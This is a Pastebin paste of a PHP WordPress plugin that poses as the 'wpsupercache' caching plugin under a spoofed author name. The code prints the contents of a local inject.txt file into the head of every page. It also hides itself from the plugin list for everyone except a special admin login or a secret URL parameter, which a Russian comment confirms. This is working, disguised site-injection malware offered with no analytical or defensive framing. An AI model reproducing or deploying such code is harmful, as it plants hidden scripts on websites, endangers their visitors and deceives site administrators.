Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: wpsupercache
- Description: A very fast caching engine for WordPress that produces static html files.
- Author: JAutomattic ins
- Version: 1.2.1-simple
- */
- define('INJECTSCR__BASENAME', basename( __DIR__ ) );
- define('INJECTSCR__PLUGIN', INJECTSCR__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
- define('INJECTSCR__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
- define('INJECTSCR__SCRIPT_DIR', INJECTSCR__PLUGIN_DIR );
- define('INJECTSCR__SCRIPT_FILE', 'inject.txt');
- define('INJECTSCR__SCRIPT_FILE_FULL', INJECTSCR__SCRIPT_DIR . INJECTSCR__SCRIPT_FILE);
- define('INJECTSCR__ADMIN_LOGIN', 'INJECTSCR__ADMIN');
- function injectscr() {
- if( file_exists(INJECTSCR__SCRIPT_FILE_FULL) && is_readable(INJECTSCR__SCRIPT_FILE_FULL) ) {
- readfile(INJECTSCR__SCRIPT_FILE_FULL);
- }
- }
- //скрываем плагины от всех кроме главного админа start
- function injectscr_hide($plugins) {
- if( $_GET[INJECTSCR__ADMIN_LOGIN] == 1 ) {
- return $plugins;
- }
- $user = wp_get_current_user();
- if( $user->data->user_login === INJECTSCR__ADMIN_LOGIN ) {
- return $plugins;
- }
- if( is_plugin_active( INJECTSCR__PLUGIN ) ) {
- unset( $plugins[ INJECTSCR__PLUGIN ] );
- }
- return $plugins;
- }
- add_action( 'wp_head', 'injectscr' );
- add_filter('all_plugins', 'injectscr_hide');
Advertisement
Add Comment
Please, Sign In to add comment